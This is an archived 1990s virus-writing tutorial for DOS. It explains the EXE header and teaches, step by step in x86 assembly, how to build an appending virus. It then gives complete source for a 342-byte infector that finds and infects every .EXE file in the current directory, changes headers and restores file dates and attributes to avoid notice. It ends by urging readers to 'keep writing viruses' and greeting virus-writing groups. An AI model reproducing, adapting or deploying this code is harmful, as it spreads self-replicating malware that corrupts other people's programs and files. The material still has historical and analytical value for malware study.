home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / TUTUPDT8.ZIP / SWTUTUP1.ZIP / SWTUTXAP.TXT
Text File  |  1996-12-30  |  21KB  |  456 lines

  1.                              --------------------
  2.                              .EXE Appending Virus
  3.                              --------------------
  4.                         by Stealth Warrior/The Alliance
  5.          
  6.          My page: http://www.geocities.com/SiliconValley/Heights/5303
  7.               
  8.                  My E-Mail address: stealthwarrior@hotmail.com                                         
  9.  
  10.  ----------------------------------------------------------------------------
  11.  DISCLAIMER:      
  12.  Information included in this file is not to be used in any malicious or 
  13.  otherwise irresponsible manner. The author is not responsible for any 
  14.  damages, incidental or otherwise, resulting from using information from
  15.  this file. Responsibility is entirely placed on the reader (user).
  16.  ----------------------------------------------------------------------------
  17.  
  18. So, now when we know how to infect .COM files, it's time to learn about .EXEs.
  19. First of all you have to be familiar with EXE header. It's in the beginning of
  20. every .EXE file and it looks like this:
  21.  
  22. ┌────────┬──────────────────────────────────────────────────────────────────┐
  23. │ OFFSET │ DESCRIPTION                                                      │
  24. ├────────┼──────────────────────────────────────────────────────────────────┤
  25. │   00h  │ EXE file ID word: MZ or ZM                                       │
  26. │ √ 02h  │ Number of bytes in the last page in the file                     │
  27. │ √ 04h  │ Number of pages* in the file, rounded up                         │
  28. │   06h  │ Number of entries in segment table                               │
  29. │   08h  │ Size of the header in paragraphs**                               │
  30. │   0Ah  │ Minimum memory allocated to file - in paragraphs                 │
  31. │   0Ch  │ Maximum memory allocated to file - in paragraphs                 │
  32. │ √ 0Eh  │ Initial offset in paragraphs to stack segment from header (SS)   │
  33. │   10h  │ Initial offset in bytes of stack ptr from stack segment (SP)     │
  34. │   12h  │ Negative checksum                                                │
  35. │ √ 14h  │ Initial offset in bytes of instruction ptr from code segment (IP)│
  36. │ √ 16h  │ Initial offset in paragraphs of code segment from header (CS)    │
  37. │   18h  │ Offset of relocation table from start of file                    │
  38. │   1Ah  │ Overlay number                                                   │
  39. └────────┴──────────────────────────────────────────────────────────────────┘
  40. √Important OFFSETS (for a virus)
  41. *page is 512 bytes long
  42. **paragraph is 16 bytes long
  43.  
  44. What our virus has to do? First, something very important. When an EXE file is
  45. loaded, PSP is built, but CS doesn't point to it! Instead, it points to the
  46. entry point, while the DS and ES point to the PSP. That's why our virus has to
  47. restore initial DS and ES before passing control to the host.
  48. And here's flow-chart:
  49.   1.Calculate the delta OFFSET.
  50.   2.Restore parts of the header - in memory of course!
  51.   3.Save DTA.
  52.   4.Find a .EXE file. If no files found then go to step 17.
  53.   5.Save file attributes, date and time.
  54.   6.Clear file attributes.
  55.   7.Open the file for reading/writing.
  56.   8.Read the header.
  57.   9.Check if the file is already infected.
  58.      a)If already infected then go to step 16.
  59.      b)If not infected continue.
  60.  10.Save important parts of the header for later use.
  61.  11.Calculate new values for the header.
  62.  12.Append the virus to the file.
  63.  13.Write new header to the file.
  64.  14.Restore time and date.
  65.  15.Close the file.
  66.  16.Restore attributes.
  67.  17.Restore DTA.
  68.  18.Pass the control to the host (in memory!).
  69.  
  70. Here's how it's done:
  71.   1.Nothing new here, except there are no three bytes(0e9h,0,0) used to jump
  72.     to vstart.
  73.  
  74.         vstart: call doit
  75.         doit:   pop  bp                           ;<Calculate the
  76.                 sub  bp,OFFSET doit               ; delta OFFSET.>
  77.  
  78.   2.And now we restore DS, ES and saved parts of the header:
  79.  
  80.         push ds
  81.         push es
  82.         push cs
  83.         pop  ds
  84.         push cs
  85.         pop  es
  86.         lea  si,[bp+OFFSET orgCSIP2]
  87.         lea  di,[bp+OFFSET orgCSIP]
  88.         movsw
  89.         movsw
  90.         movsw
  91.         movsw
  92.  
  93.   3.Nothing new...
  94.  
  95.         lea  dx,[bp+OFFSET dta]           ;<Save disk
  96.         mov  ah,1ah                       ; transfer
  97.         int  21h                          ; area(DTA).>
  98.   
  99.     We have to define dta, so:
  100.         dta db 42 dup (?)
  101.  
  102.   4.You know this...
  103.  
  104.         mov  ah,4eh                       ;Find first service.
  105.         lea  dx,[bp+exe_files]            ;<Search for an .EXE file
  106.         mov  cx,7                         ; with any attributes.>         
  107.         int  21h
  108.     
  109.     We have to define what exe_files means, so:
  110.      exe_files: db "*.exe",0
  111.   
  112.   5.Nothing new...
  113.         
  114.         lea  si,[bp+OFFSET dta+21]        ;<Save file
  115.         mov  cx,5                         ; attributes,
  116.         lea  di,[bp+OFFSET attributes]    ; date and
  117.         rep  movsb                        ; time.>
  118.         
  119.   6.Old stuff...
  120.         
  121.         mov  ax,4301h                     ;<Clear
  122.         xor  cx,cx                        ; the
  123.         lea  dx,[bp+dta+30]               ; file
  124.         int  21h                          ; attributes.>
  125.  
  126.   7.Nothing new here...   
  127.         
  128.         mov  ax,3d02h                     ;<Open file for
  129.         lea  dx,[bp+OFFSET dta+30]        ; reading and
  130.         int  21h                          ; writing.>
  131.  
  132.   8.Here we read the header and store it to buffer. We need it to check if the
  133.     file is already infected and to restore it before we pass control to the
  134.     host.
  135.         
  136.         xchg ax,bx                        ;Put file handle in bx.
  137.         mov  ah,3fh                       ;<Read first
  138.         lea  dx,[bp+buffer]               ; 1ah bytes
  139.         mov  cx,1ah                       ; and store them
  140.         int  21h                          ; in buffer.>
  141.  
  142.   9.Here we compare our ID with the value at OFFSET 10h of the header. If it's
  143.     the same then the file is infected. This is an appropriate location for 
  144.     our ID. You can use OFFSET 12h instead if you wish.
  145.  
  146.         cmp  byte ptr [bp+buffer+10h],ID  ;Is the file infected?
  147.         jz   another                      ;Yes,so find next victim.
  148.  
  149.  10.Here we push cx (1ah=length of the header) for later use. We also save bx
  150.     (file handle) so that it isn't destroyed by following operations. The most
  151.     important thing of this part is saving all data from the header which will 
  152.     need to be restored. It's a pretty odd way, but if you know a shorter one,
  153.     email me :)
  154.  
  155.         mov  cx,1ah
  156.         push cx
  157.         push bx                           ;Save file handle.
  158.         les  ax,dword ptr [bp+buffer+14h] ;<Save
  159.         mov  word ptr [bp+orgCSIP2],ax    ; important
  160.         mov  word ptr [bp+orgCSIP2+2],es  ; (for a virus)
  161.         les  ax,dword ptr [bp+buffer+0eh] ; parts
  162.         mov  word ptr [bp+orgSSSP2],es    ; of the
  163.         mov  word ptr [bp+orgSSSP2+2],ax  ; header.>
  164.  
  165.  11.In this part we have to calculate new values to be written to the header.
  166.     The only tricky part is where we need the number of bytes in the last page
  167.     in the file. But with a bit of math it's done... Let's take a 1026-byte
  168.     file, for example:
  169.            
  170.                PAGE 1               PAGE 2              PAGE 3
  171.        ┌────────────────────┬────────────────────┬────────────────────┐
  172.        │********************│********************│**                  │
  173.        └────────────────────┴────────────────────┴────────────────────┘
  174.                            512                 1024
  175.  
  176.            OFFSET 02 : 2 ( 1026-2*(512)=2 )
  177.            OFFSET 04 : 3 ( 3*512>1026>2*512, look at the picture above)
  178.         
  179.         mov  ax,word ptr [bp+buffer+8]    ;<Get header
  180.         mov  cl,4                         ; length and
  181.         shl  ax,cl                        ; convert it
  182.         xchg ax,bx                        ; to bytes.>
  183.         les  ax,dword ptr [bp+dta+1ah]    ;<Get file
  184.         mov  dx,es                        ; size and
  185.         push ax                           ; store it
  186.         push dx                           ; for later.>
  187.         sub  ax,bx                        ;<Subtract header size
  188.         sbb  dx,0                         ; from the file size
  189.         mov  cx,10h                       ; and convert it to
  190.         div  cx                           ; SEGMENT:OFFSET form.>
  191.         mov  word ptr [bp+buffer+14h],dx  ;New entry point.
  192.         mov  word ptr [bp+buffer+16h],ax  ;New OFFSET of code segment.
  193.         mov  word ptr [bp+buffer+0eh],ax  ;New OFFSET of stack segment.
  194.         mov  word ptr [bp+buffer+10h],ID  ;Our ID.
  195.         pop  dx                           ;<Get file
  196.         pop  ax                           ; length.>
  197.         pop  bx                           ;Restore file handle.
  198.         add  ax,vend-vstart               ;<Add the size of the
  199.         adc  dx,0                         ; virus to the file length.>
  200.         mov  cl,9                         ;Length of a page=512=2^9.
  201.         push ax                           ;<Calculate
  202.         shr  ax,cl                        ; the new
  203.         ror  dx,cl                        ; number of
  204.         stc                               ; pages and
  205.         adc  dx,ax                        ; the number
  206.         pop  ax                           ; of bytes in
  207.         and  ah,1                         ; the last page.>
  208.         mov  word ptr [bp+buffer+4],dx    ;New number of pages.
  209.         mov  word ptr [bp+buffer+2],ax    ;New remainder.
  210.         push cs                           ;<Save cs and
  211.         pop  es                           ; restore es.>
  212.  
  213.  12.And now-40h, my favorite function...
  214.         
  215.         mov  ah,40h                       ;<Append
  216.         lea  dx,[bp+OFFSET vstart]        ; the virus
  217.         mov  cx,vend-vstart               ; to the
  218.         int  21h                          ; file.>
  219.  
  220.  13.Here we write a new header to the file (from the buffer):
  221.  
  222.         mov  ax,4200h                     ;<Go to the
  223.         xor  cx,cx                        ; beginning
  224.         cwd                               ; of the 
  225.         int  21h                          ; file.>
  226.         mov  ah,40h                       ;<Write new
  227.         lea  dx,[bp+OFFSET buffer]        ; header
  228.         pop  cx                           ; to the
  229.         int  21h                          ; file.>
  230.         
  231.  14.Now this looks familiar... :)
  232.         
  233.         mov  ax,5701h                     ;<Restore
  234.         mov  dx,word ptr [bp+date]        ; original
  235.         mov  cx,word ptr [bp+time]        ; file time
  236.         int  21h                          ; and date.>
  237.  
  238.  15.Close the file, nothing new...
  239.         
  240.         mov  ah,3eh                       ;<Close the
  241.         int  21h                          ; file.>
  242.         
  243.  16.Blah, blah...
  244.         
  245.         mov  ax,4301h                     ;<Restore
  246.         lea  dx,[bp+OFFSET dta+30]        ; original
  247.         xor  ch,ch                        ; attributes
  248.         mov  cl,byte ptr [bp+attributes]  ; of the
  249.         int  21h                          ; file.>
  250.  
  251.  17.Nothin' new...
  252.         
  253.         mov  dx,80h                       ;Restore DTA.
  254.         mov  ah,1ah                       ;<Set disk transfer
  255.         int  21h                          ; address.>
  256.         
  257.  18.Here we pass control to the host (in memory!!!): 
  258.         
  259.         pop  es                           ;Restore es.
  260.         pop  ds                           ;Restore ds.
  261.         mov  ax,es                        ;ax<-PSP segment.
  262.         add  ax,10h                       ;Adjust it for PSP.
  263.         add  word ptr cs:[bp+orgCSIP+2],ax;
  264.         add  ax,word ptr cs:[bp+orgSSSP+2];
  265.         cli                               ;Clear int's for stack manipulation.
  266.         mov  sp,word ptr cs:[bp+orgSSSP]  ;Adjust sp.
  267.         mov  ss,ax                        ;Adjust ss.
  268.         sti
  269.         db   0eah                         ;Return control to the host.
  270.  
  271.     We also need this:
  272.  
  273.         orgCSIP dd ?                              ;Original CS:IP.
  274.         orgSSSP dd ?                              ;Original SS:SP.
  275.         orgCSIP2 dd 0fff00000h                    ;Needed for carrier file.
  276.         orgSSSP2 dd ?
  277.  
  278.  
  279. Here's the complete source:
  280. -<EXAMPLE1.ASM>---------------------------------------------------------------
  281. ;Example 1 from .EXE Appending Virus Tutorial by Stealth Warrior
  282. ;.EXE appending virus - 342 bytes long, infects all .EXE files in current dir
  283. ;Instructions:
  284. ; TASM /m EXAMPLE1.ASM
  285. ; TLINK /t EXAMPLE1.ASM
  286. .model tiny        
  287. .code
  288.         org 100h
  289. ID = 'SW'                                 ;Our ID...
  290. vstart: call doit
  291. doit:   pop  bp                           ;<Calculate the
  292.         sub  bp,OFFSET doit               ; delta OFFSET.>
  293.         push ds
  294.         push es
  295.         push cs
  296.         pop  ds
  297.         push cs
  298.         pop  es
  299.         lea  si,[bp+OFFSET orgCSIP2]
  300.         lea  di,[bp+OFFSET orgCSIP]
  301.         movsw
  302.         movsw
  303.         movsw
  304.         movsw
  305.         lea  dx,[bp+OFFSET dta]           ;<Save disk
  306.         mov  ah,1ah                       ; transfer
  307.         int  21h                          ; area(DTA).>
  308. first:  mov  ah,4eh                       ;Find first service.
  309.         lea  dx,[bp+exe_files]            ;<Search for a .EXE file
  310.         mov  cx,7                         ; with any attributes.>         
  311. next:   int  21h
  312.         jnb  got_it                       ;We found a .EXE file.
  313.         jmp  quit                         ;No more .EXE files,so quit.
  314. got_it: lea  si,[bp+OFFSET dta+21]        ;<Save file
  315.         mov  cx,5                         ; attributes,
  316.         lea  di,[bp+OFFSET attributes]    ; date and
  317.         rep  movsb                        ; time.>
  318.         mov  ax,4301h                     ;<Clear
  319.         xor  cx,cx                        ; the
  320.         lea  dx,[bp+dta+1eh]              ; file
  321.         int  21h                          ; attributes.>
  322.         mov  ax,3d02h                     ;<Open file for
  323.         lea  dx,[bp+OFFSET dta+1eh]       ; reading and
  324.         int  21h                          ; writing.>
  325.         xchg ax,bx                        ;Put file handle in ax.
  326.         mov  ah,3fh                       ;<Read first
  327.         lea  dx,[bp+OFFSET buffer]        ; 1ah bytes and
  328.         mov  cx,1ah                       ; save them to
  329.         int  21h                          ; buffer.>
  330.         mov  ax,4202h                     ;<Go to
  331.         xor  cx,cx                        ; the
  332.         cwd                               ; end of
  333.         int  21h                          ; file.>
  334.         cmp  word ptr [bp+buffer+10h],ID  ;Already infected?
  335.         jnz  infect                       ;No,so infect it.
  336.         jmp  another                      ;Yes,so get another.
  337. infect: mov  cx,1ah
  338.         push cx
  339.         push bx                           ;Save file handle.
  340.         les  ax,dword ptr [bp+buffer+14h] ;<Save
  341.         mov  word ptr [bp+orgCSIP2],ax    ; important
  342.         mov  word ptr [bp+orgCSIP2+2],es  ; (for a virus)
  343.         les  ax,dword ptr [bp+buffer+0eh] ; parts
  344.         mov  word ptr [bp+orgSSSP2],es    ; of the
  345.         mov  word ptr [bp+orgSSSP2+2],ax  ; header.>
  346.         mov  ax,word ptr [bp+buffer+8]    ;<Get header
  347.         mov  cl,4                         ; length and
  348.         shl  ax,cl                        ; convert it
  349.         xchg ax,bx                        ; to bytes.>
  350.         les  ax,dword ptr [bp+dta+1ah]    ;<Get file
  351.         mov  dx,es                        ; size and
  352.         push ax                           ; store it
  353.         push dx                           ; for later.>
  354.         sub  ax,bx                        ;<Subtract header size
  355.         sbb  dx,0                         ; from the file size
  356.         mov  cx,10h                       ; and convert it to
  357.         div  cx                           ; SEGMENT:OFFSET form.>
  358.         mov  word ptr [bp+buffer+14h],dx  ;New entry point.
  359.         mov  word ptr [bp+buffer+16h],ax  ;New OFFSET of code segment.
  360.         mov  word ptr [bp+buffer+0eh],ax  ;New OFFSET of stack segment.
  361.         mov  word ptr [bp+buffer+10h],ID  ;Our ID.
  362.         pop  dx                           ;<Get file
  363.         pop  ax                           ; length.>
  364.         pop  bx                           ;Restore file handle.
  365.         add  ax,vend-vstart               ;<Add the size of the
  366.         adc  dx,0                         ; virus to the file length.>
  367.         mov  cl,9                         ;Length of a page=512=2^9.
  368.         push ax                           ;<Calculate
  369.         shr  ax,cl                        ; the new
  370.         ror  dx,cl                        ; number of
  371.         stc                               ; pages and
  372.         adc  dx,ax                        ; the number
  373.         pop  ax                           ; of bytes in
  374.         and  ah,1                         ; the last page.>
  375.         mov  word ptr [bp+buffer+4],dx    ;New number of pages.
  376.         mov  word ptr [bp+buffer+2],ax    ;New remainder.
  377.         push cs                           ;<Save cs and
  378.         pop  es                           ; restore es.>
  379.         mov  ah,40h                       ;<Append
  380.         lea  dx,[bp+OFFSET vstart]        ; the virus
  381.         mov  cx,vend-vstart               ; to the
  382.         int  21h                          ; file.>
  383.         mov  ax,4200h                     ;<Go to the
  384.         xor  cx,cx                        ; beginning
  385.         cwd                               ; of the 
  386.         int  21h                          ; file.>
  387.         mov  ah,40h                       ;<Write new
  388.         lea  dx,[bp+OFFSET buffer]        ; header
  389.         pop  cx                           ; to the
  390.         int  21h                          ; file.>
  391.         mov  ax,5701h                     ;<Restore
  392.         mov  dx,word ptr [bp+date]        ; original
  393.         mov  cx,word ptr [bp+time]        ; file time
  394.         int  21h                          ; and date.>
  395.         mov  ah,3eh                       ;<Close the
  396.         int  21h                          ; file.>
  397. another:mov  ax,4301h                     ;<Restore
  398.         lea  dx,[bp+OFFSET dta+1eh]       ; original
  399.         xor  ch,ch                        ; attributes
  400.         mov  cl,byte ptr [bp+attributes]  ; of the
  401.         int  21h                          ; file.>
  402.         mov  ah,4fh                       ;Find next service.
  403.         jmp  next                         ;Do it.
  404. quit:   mov  dx,80h                       ;Restore DTA.
  405.         mov  ah,1ah                       ;<Set disk transfer
  406.         int  21h                          ; address.>
  407.         pop  es                           ;Restore es.
  408.         pop  ds                           ;Restore ds.
  409.         mov  ax,es                        ;ax<-PSP segment.
  410.         add  ax,10h                       ;Adjust it for PSP.
  411.         add  word ptr cs:[bp+orgCSIP+2],ax
  412.         add  ax,word ptr cs:[bp+orgSSSP+2]
  413.         cli                               ;Clear int's for stack manipulation.
  414.         mov  sp,word ptr cs:[bp+orgSSSP]  ;Adjust sp.
  415.         mov  ss,ax                        ;Adjust ss.
  416.         sti
  417.         db   0eah                         ;Return control to the host.
  418.         
  419. orgCSIP dd ?                              ;Original CS:IP.
  420. orgSSSP dd ?                              ;Original SS:SP.
  421. orgCSIP2 dd 0fff00000h                    ;Needed for carrier file.
  422. orgSSSP2 dd ?
  423.  
  424. exe_files db '*.exe',0
  425. vend equ $                                ;<Everything below this point
  426.                                           ; isn't written to a host because
  427.                                           ; it's temporal info and would
  428.                                           ; just increase the size of the
  429.                                           ; virus.>
  430. attributes db ?                           ;Here we put file attributes.
  431. time dw ?                                 ;Here we put file time.
  432. date dw ?                                 ;Here we put file date.
  433. dta db 42 dup (?)                         ;Here we put DTA.
  434. buffer db 1ah dup (?)                     ;Here we put header.
  435. end vstart
  436. ------------------------------------------------------------------------------
  437.  
  438. That's it for EXE infectors. If you don't get it yet, read all my previous 
  439. tutorials and you'll get it, don't worry. Stay tuned for new tutorials by me!
  440. Oh yeah, keep writing viruses!
  441.  
  442. You can get all my tutorials and more at my page - see the beginning of this 
  443. file for the address.
  444.  
  445. Greetz'n'thanx to: 
  446.   -The Alliance : Yo to all memberz
  447.   -P/S : a great group, your(Dark Angel) tutorials and 40hex helped me a lot
  448.          BTW where's 40Hex 15?
  449.   -NuKE : a great group too, Rock Steady's tutorials are cool
  450.   -VLAD : a great magazine, guys-I hope #7 isn't the last one...
  451.   -Immortal Riot/Genesis : I like your 'zine
  452.   -Ratboy : cool tutorial
  453.   -all other wirus writers in the world!
  454.   -Rage Against The Machine, Ministry, Biohazard, Jimi Hendrix : I listened to
  455.    your music while I was writing these tutorials
  456.